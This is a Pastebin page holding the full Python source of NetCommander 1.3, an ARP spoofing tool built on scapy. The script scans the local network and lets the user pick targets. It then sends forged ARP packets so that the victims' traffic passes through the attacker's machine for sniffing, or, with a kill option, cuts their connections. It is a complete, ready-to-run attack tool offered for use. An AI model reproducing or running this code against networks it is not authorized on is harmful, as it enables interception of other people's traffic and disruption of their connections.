Advertisement
opexxx

netcmd.py

May 19th, 2014
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.93 KB | None | 0 0
  1. #!/usr/bin/python
  2. # This file is part of NetCommander.
  3. #
  4. # Copyright(c) 2010-2011 Simone Margaritelli
  5. # evilsocket@gmail.com
  6. # http://www.evilsocket.net
  7. # http://www.backbox.org
  8. #
  9. # This file may be licensed under the terms of of the
  10. # GNU General Public License Version 2 (the ``GPL'').
  11. #
  12. # Software distributed under the License is distributed
  13. # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either
  14. # express or implied. See the GPL for the specific language
  15. # governing rights and limitations.
  16. #
  17. # You should have received a copy of the GPL along with this
  18. # program. If not, go to http://www.gnu.org/licenses/gpl.html
  19. # or write to the Free Software Foundation, Inc.,
  20. # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
  21. import logging
  22. import time
  23. import os
  24. import sys
  25. import atexit
  26. import re
  27. from optparse import OptionParser
  28. import warnings
  29.  
  30. # ignore deprecation warnings from scapy inclusion
  31. warnings.filterwarnings( "ignore", category = DeprecationWarning )
  32. # disable scapy warnings about ipv6 and shit like that
  33. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  34.  
  35. from scapy.all import srp,Ether,ARP,conf,sendp,ltoa,atol
  36.  
  37. class NetCmd:
  38.  
  39.   def __bit_count( self, n ):
  40.     bits = 0
  41.     while n:
  42.       bits += n & 1
  43.       n   >>= 1
  44.     return bits
  45.  
  46.   def __set_forwarding( self, status ):
  47.     # Mac OS X
  48.     if sys.platform == 'darwin':
  49.       p = os.popen( "sysctl -w net.inet.ip.forwarding=%s" % '1' if status == True else '0' )
  50.       output = p.readline()
  51.       p.close()
  52.  
  53.       if status and not re.match( r'net\.inet\.ip\.forwarding:\s+\d\s+\->\s+\d', output ):
  54.         raise Exception( "Unexpected output '%s' while turning ip forwarding." % output )
  55.     # Linux
  56.     else:
  57.       if not os.path.exists( '/proc/sys/net/ipv4/ip_forward' ):
  58.         raise Exception( "'/proc/sys/net/ipv4/ip_forward' not found, this is not a compatible operating system." )
  59.      
  60.       fd = open( '/proc/sys/net/ipv4/ip_forward', 'w+' )
  61.       fd.write( '1' if status == True else '0' )
  62.       fd.close()
  63.  
  64.   def __preload_mac_table( self ):
  65.     if os.path.exists( 'mac-prefixes' ):
  66.       print "@ Preloading MAC table ..."
  67.  
  68.       fd = open( 'mac-prefixes' )
  69.       for line in iter(fd):
  70.         ( prefix, vendor ) = line.strip().split( ' ', 1 )
  71.         self.mac_prefixes[prefix] = vendor
  72.  
  73.       fd.close()
  74.  
  75.   def __find_mac_vendor( self, mac ):
  76.     mac = mac.replace( ':', '' ).upper()[:6]
  77.     try:
  78.       return self.mac_prefixes[mac]
  79.     except KeyError as e:
  80.       return ''  
  81.  
  82.   def find_alive_hosts( self ):
  83.     self.gateway_hw = None
  84.     self.endpoints  = []
  85.    
  86.     print "@ Searching for alive network endpoints ..."
  87.  
  88.     # broadcast arping ftw
  89.     ans,unans = srp( Ether( dst = "ff:ff:ff:ff:ff:ff" ) / ARP( pdst = self.network ),
  90.                      verbose = False,
  91.                      filter  = "arp and arp[7] = 2",
  92.                      timeout = 2,
  93.                      iface_hint = self.network )
  94.  
  95.     for snd,rcv in ans:
  96.       if rcv.psrc == self.gateway:
  97.         self.gateway_hw = rcv.hwsrc
  98.       else:
  99.         self.endpoints.append( ( rcv.hwsrc, rcv.psrc ) )
  100.      
  101.     if self.endpoints == [] and not self.all:
  102.       raise Exception( "Could not find any network alive endpoint." )
  103.  
  104.   def __init__( self, interface, gateway = None, network = None, kill = False, all = False ):
  105.     # scapy, you're pretty cool ... but shut the fuck up bitch!
  106.     conf.verb = 0
  107.  
  108.     self.interface    = interface
  109.     self.network      = network
  110.     self.targets      = []
  111.     self.gateway      = gateway
  112.     self.all          = all
  113.     self.gateway_hw   = None
  114.     self.packets      = []
  115.     self.restore      = []
  116.     self.endpoints    = []
  117.     self.mac_prefixes = {}
  118.  
  119.     if not os.geteuid() == 0:
  120.       raise Exception( "Only root can run this script." )
  121.  
  122.     self.__preload_mac_table()
  123.    
  124.     print "@ Searching for the network gateway address ..."
  125.  
  126.     # for route in conf.route.routes:
  127.     for net, msk, gw, iface, addr in conf.route.routes:
  128.       # found a route for given interface
  129.       if iface == self.interface:
  130.         network = ltoa( net )
  131.         # compute network representation if not yet done
  132.         if network.split('.')[0] == addr.split('.')[0]:
  133.           bits = self.__bit_count( msk )
  134.           self.network = "%s/%d" % ( network, bits )
  135.         # search for a valid network gateway
  136.         if self.gateway is None and gw != '0.0.0.0':
  137.           self.gateway = gw
  138.    
  139.     if self.gateway is not None and self.network is not None:
  140.       print "@ Gateway is %s on network %s ." % ( self.gateway, self.network )
  141.     else:
  142.       raise Exception( "Could not find any network gateway." )
  143.  
  144.     self.find_alive_hosts()
  145.  
  146.     print "@ Please choose your target :"
  147.     choice = None
  148.    
  149.     if all:
  150.       self.targets = self.endpoints
  151.     else:
  152.       while choice is None:
  153.         for i, item in enumerate( self.endpoints ):
  154.           ( mac, ip ) = item
  155.           vendor      = self.__find_mac_vendor( mac )
  156.           print "  [%d] %s %s %s" % ( i, mac, ip, "( %s )" % vendor if vendor else '' )
  157.         choice = raw_input( "@ Choose [0-%d] (* to select all, r to refresh): " % (len(self.endpoints) - 1) )
  158.         try:
  159.           choice = choice.strip()
  160.           if choice == '*':
  161.             self.targets = self.endpoints
  162.           elif choice.lower() == 'r':
  163.             choice = None
  164.             self.find_alive_hosts()
  165.           else:
  166.             self.targets.append( self.endpoints[ int(choice) ] )
  167.         except Exception as e:
  168.           print "@ Invalid choice!"
  169.           choice = None
  170.  
  171.     self.craft_packets()
  172.      
  173.     if not kill:
  174.       print "@ Enabling ipv4 forwarding system wide ..."
  175.       self.__set_forwarding( True )
  176.     else:
  177.       print "@ Disabling ipv4 forwarding system wide to kill target connections ..."
  178.       self.__set_forwarding( False )
  179.    
  180.     atexit.register( self.restore_cache )
  181.  
  182.   def craft_packets( self ):
  183.     # craft packets to accomplish a full forwarding:
  184.     #   gateway -> us -> target
  185.     #   target  -> us -> gateway
  186.     for target in self.targets:
  187.       self.packets.append( Ether( dst = self.gateway_hw ) / ARP( op = "who-has", psrc = target[1],    pdst = self.gateway ) )
  188.       self.packets.append( Ether( dst = target[0] )       / ARP( op = "who-has", psrc = self.gateway, pdst = target[1] ) )
  189.       # and packets to restore the cache later
  190.       self.restore.append( Ether( src = target[0],       dst = self.gateway_hw ) / ARP( op = "who-has", psrc = target[1],    pdst = self.gateway ) )
  191.       self.restore.append( Ether( src = self.gateway_hw, dst = target[0] )       / ARP( op = "who-has", psrc = self.gateway, pdst = target[1] ) )
  192.    
  193.   def restore_cache( self ):
  194.     os.write( 1, "\n@ Restoring ARP cache " )
  195.     for i in range(5):
  196.       for packet in self.restore:
  197.         sendp( packet, iface_hint = self.gateway )
  198.       os.write( 1, '.' )
  199.       time.sleep(1)
  200.     os.write( 1, "\n" )
  201.  
  202.     self.__set_forwarding( False )
  203.    
  204.   def spoof( self ):
  205.     if self.all and self.targets != self.endpoints:
  206.       self.targets = self.endpoints
  207.       self.craft_packets()
  208.  
  209.     for packet in self.packets:
  210.       sendp( packet, iface_hint = self.gateway )
  211.  
  212. try:
  213.   print "\n\tNetCommander 1.3 - An easy to use arp spoofing tool.\n \
  214. \tCopyleft Simone Margaritelli <evilsocket@gmail.com>\n \
  215. \thttp://www.evilsocket.net\n\thttp://www.backbox.org\n";
  216.          
  217.   parser = OptionParser( usage = "usage: %prog [options]" )
  218.  
  219.   parser.add_option( "-I", "--iface",   action="store",      dest="iface",   default=conf.iface, help="Network interface to use if different from the default one." );
  220.   parser.add_option( "-N", "--network", action="store",      dest="network", default=None,       help="Network to work on." );
  221.   parser.add_option( "-G", "--gateway", action="store",      dest="gateway", default=None,       help="Gateway to use." );
  222.   parser.add_option( "-K", "--kill",    action="store_true", dest="kill",    default=False,      help="Kill targets connections instead of forwarding them." )
  223.   parser.add_option( "-D", "--delay",   action="store",      dest="delay",   default=5,          help="Delay in seconds between one arp packet and another, default is 5." )
  224.   parser.add_option( "-A", "--all",     action="store_true", dest="all",     default=False,      help="Keep spoofing and spoof all connected and later connected interfaces." )
  225.  
  226.   (o, args) = parser.parse_args()
  227.  
  228.   ncmd = NetCmd( o.iface, o.gateway, o.network, o.kill, o.all )
  229.  
  230.   if not o.kill:
  231.     os.write( 1, "@ Spoofing, launch your preferred network sniffer to see target traffic " )
  232.   else:
  233.     os.write( 1, "@ Killing target connections " )
  234.  
  235.   slept = 0
  236.   while 1:
  237.     ncmd.spoof()
  238.     os.write( 1, '.' )
  239.     time.sleep( o.delay )
  240.     slept += 1
  241.  
  242.     if o.all and slept > 10:
  243.       ncmd.restore_cache()
  244.       ncmd.find_alive_hosts()
  245.       slept = 0
  246.  
  247. except KeyboardInterrupt:
  248.   pass
  249. except Exception as e:
  250.   print "@ ERROR : %s" % e
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement